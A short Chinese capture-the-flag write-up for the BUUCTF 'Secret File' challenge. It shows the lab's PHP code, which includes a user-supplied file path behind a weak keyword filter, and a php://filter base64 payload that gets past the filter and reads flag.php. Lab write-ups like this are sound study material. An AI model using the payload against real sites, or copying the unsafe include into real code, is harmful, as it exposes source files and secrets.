当前位置: 代码迷 >> 综合 >> BUUCTF-Secret File
  详细解决方案

BUUCTF-Secret File

热度:24   发布时间:2023-11-15 09:39:33.0

Secret 意为秘密,可知我们需要在网页中寻找到隐藏的flag文件
启动环境打开靶机
请添加图片描述
直接查看源码,发现一个文件
请添加图片描述
打开后点击 secret 但是会直接跳转到 end.php 并且提示查阅结束,说明页面跳转过快,需要手动抓放包来查看
请添加图片描述
经过拦截显示出隐藏 php 文件,访问后出现源码

<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";exit();}include($file); 
//flag放在了flag.php里
?>
</html>

直接使用 ?file=flag.php
请添加图片描述
再尝试使用 base64 形式访问

?file=php://filter/read=convert.base64-encode/resource=flag.php

请添加图片描述

获取一段 base64 编码
翻译后得出flag
请添加图片描述

  相关解决方案